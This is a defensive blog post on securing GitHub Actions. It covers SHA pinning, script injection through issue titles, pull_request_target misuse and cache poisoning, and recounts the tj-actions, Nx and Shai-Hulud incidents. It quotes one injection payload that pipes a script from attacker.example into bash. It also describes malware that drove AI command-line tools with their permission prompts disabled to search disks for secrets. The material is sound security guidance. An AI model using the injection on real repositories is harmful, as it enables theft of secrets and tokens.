An issue title is enough to steal a repository’s secrets. In this conference demo, the presenter opens an issue on a demo repo, edits the title to close a quote and append a shell command, and saves it. A workflow that echoes issue titles back as comments picks it up. Within a minute it has printed the repo’s secret, listed what its token can do, and committed new files to the repository. The only mistake in that pipeline was wiring issue handling to a shell step without asking who writes issue titles.
This post covers the four ways attacker code most often gets into a GitHub Actions workflow, the incidents each one caused, and the config I’d use to close them. Part 2 covers how to shrink what that code can steal once it’s in.
Why attackers go after the pipeline
A workflow job usually holds the most privileged credentials a repo has. It publishes packages to npm, pushes images, deploys to AWS, and writes releases. Get code running inside it and you inherit all of that.
The big supply chain incidents of 2025 all ran through a workflow at some point. tj-actions/changed-files was compromised in March. Nx’s “s1ngularity” compromise in August started with a workflow that leaked an npm token. Shai-Hulud 2.0 in November spread through npm and backdoored its victims’ GitHub accounts with a workflow and a self-hosted runner.
Every one of them went after secrets, and every one needed attacker code running inside a privileged job first.
Pin third-party actions to a commit SHA
uses: actions/checkout@v4 downloads another repository at runtime and runs it with full access to your job, secrets included. @v4 is a git tag, and its owner can move it whenever they like. Pinning to @v4.2.2 looks safer and has the same flaw, because a full version string is also a tag.
That flaw is how tj-actions/changed-files reached more than 23,000 repositories in March 2025. The attacker pushed a commit that dumped secrets from runner memory into the workflow log, then pointed the action’s version tags at it. Anyone referencing a tag, major or exact, ran the payload on their next build. Public repos printed their secrets into public logs.
A commit SHA can’t move. Take it from the action’s own repository. GitHub stores a repo and its forks in one shared network of commits, so actions/checkout@<sha> also resolves a commit that exists only in somebody’s fork. Chainguard calls these impostor commits, and zizmor flags them. Pin to the SHA and keep the version in a trailing comment so a human can still read it:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Looking up the SHA takes a minute the first time. After that Dependabot handles it. It opens PRs that bump the SHA and rewrites the comment to match. I also give it a cooldown, so a freshly published release waits a week before Dependabot proposes it. The tj-actions payload sat in the repo for about two days before it was removed.
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
cooldown:
default-days: 7
Dependabot alerts only cover actions referenced by a semantic version, so a SHA-pinned action never gets a vulnerability alert. Version updates still bump the pin. zizmor’s known-vulnerable-actions check, covered in part 2, fills the gap.
The same rule applies to everything else a workflow pulls in. A step running npm install -g some-cli installs whatever version is latest at that moment. Run it during the two days a compromised version was live and you get the compromised version. Pin container images by digest and tools by exact version.
A pin doesn’t vet the code behind it. Check how an action is maintained before adopting it. OpenSSF Scorecard scores a repo’s own workflow hygiene along with its maintenance. Forking the action into your org gives you full control at the cost of maintaining the fork.
Update, 2 November 2026. GitHub released workflow lockfiles as a public preview on 14 October 2026. The
gh actions-lockCLI extension writes.github/workflows/actions.lock, recording the exact commit of every action a workflow uses, including the actions those actions call. A SHA pin covers only the action you reference. Once a workflow is onboarded, Actions runs the recorded commits even if a tag moves, and GitHub’s secure-use reference now ranks a lockfile above SHA pinning.gh extension install github/gh-actions-lock gh actions-lock # write or refresh the lockfile gh actions-lock --verify # check it in CIThe extension’s README lists the gaps. It doesn’t lock reusable workflows from other repos or container images without a digest, and it won’t notice a floating tag moved back to an older commit. I’d keep SHA pinning as the baseline until the feature leaves preview.
Keep untrusted input out of run: blocks
The issue-title demo works because GitHub expands ${{ }} expressions by text substitution before the shell ever sees the script. Take this step:
- run: echo "New issue: ${{ github.event.issue.title }}"
A title of "; curl -s https://attacker.example/x.sh | bash; echo " turns it into three shell commands. PR titles and bodies, comment bodies, commit messages, review text, and branch names all behave the same way. github.head_ref catches people out because it looks like internal metadata. The PR author chose that branch name.
Pass the value through an environment variable instead. The expression lands in the step’s environment, and the shell reads it as data:
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $TITLE"
Keep the quotes around $TITLE. The same pattern works in actions/github-script, where the script reads process.env.TITLE.
Writes to $GITHUB_ENV carry a related bug. Every line appended there becomes an environment variable for the rest of the job. If the value contains a newline, the attacker defines a second variable of their choosing. In one GitHub Security Lab finding, that variable was LD_PRELOAD, which loaded the attacker’s library into every process the job started next. Actions refuses to set NODE_OPTIONS this way, so attackers reach for LD_PRELOAD or proxy settings instead. Strip or reject newlines in anything you write there.
Treat pull_request_target as privileged code
A pull_request workflow triggered from a fork runs with a read-only token and no secrets, because GitHub assumes the code is hostile. pull_request_target runs in the context of the base repository, with its secrets and a writable token, so maintainers can label or comment on fork PRs. It stays safe only while the job runs nothing from the PR. Once a step checks out github.event.pull_request.head.sha and runs npm install or a test suite, the fork’s author is executing code with your secrets. Interpolating the PR title or branch name into a script has the same result.
Nx hit this in August 2025. Their maintainers had already reverted a pull_request_target workflow that interpolated the PR title into a run: step. An older branch still carried the old copy. At the time, pull_request_target ran the workflow file from whichever branch the PR targeted. The attacker opened a PR against the stale branch and got code running in the privileged job. Nx’s advisory believes they used it to trigger the publish workflow and send its npm token to a webhook.
The malicious Nx versions they published ran an install script that hunted the disk for credentials and crypto wallets. It also launched any locally installed Claude, Gemini, or Q CLI with permission prompts disabled and told it to search the disk for secrets. Results went to a public repo created under the victim’s own GitHub account.
PostHog’s part in Shai-Hulud 2.0 started the same way. Their postmortem describes a reviewer-assignment workflow switched to pull_request_target that ran a script from the PR. An attacker’s PR edited that script to send a bot’s GitHub token to a webhook.
GitHub changed the trigger on 8 December 2025. pull_request_target now always runs the workflow file from the default branch, so stale branches no longer serve vulnerable copies. A default-branch workflow that checks out and runs PR code is still exploitable.
To build untrusted code and then act on the result with write access, split the work into two workflows:
- A
pull_requestworkflow builds and tests the PR with no secrets, then uploads its results as an artifact. - A
workflow_runworkflow fires when the first one finishes. It runs from the default branch with the permissions it needs, downloads the artifact, and posts the comment.
Treat that artifact as hostile. The PR author can edit the first workflow, so they control what it uploads. Extract it to a temp directory outside the workspace, parse it as data, and never execute anything from it. If the worst an attacker can do is choose the text of a PR comment, the split worked.
Keep the cache out of release jobs
Putting both stages in one workflow, as two jobs with different permissions, looks like a shortcut around the split. The cache breaks it. Every job gets a cache token whether it uses the cache or not. Code running in the job can read that token from runner memory. GitHub scopes caches by branch, with one exception. Every branch can read the default branch’s cache. Workflows on pull_request_target, issue_comment, and workflow_run all run in the default branch’s scope. An attacker who gets code running in any of them can write a poisoned cache entry, even from a job with no secrets and a read-only token. The next release build on main restores the entry and runs their code.
Don’t restore caches in jobs that publish packages, sign artifacts, or deploy. Several setup-* actions cache without being asked. actions/setup-go caches unless you set cache: false, and actions/setup-node caches npm dependencies whenever package.json names npm as its package manager, unless you set package-manager-cache: false. Check every setup action in a release job.
What’s next
Everything here keeps hostile code out of privileged jobs. Some of it will get in anyway, through an action you trusted or a dependency nobody pinned. The next post cuts the default token down, replaces stored cloud keys with OIDC, scopes secrets with environments, enforces the rules at the org level, and lints every workflow with zizmor.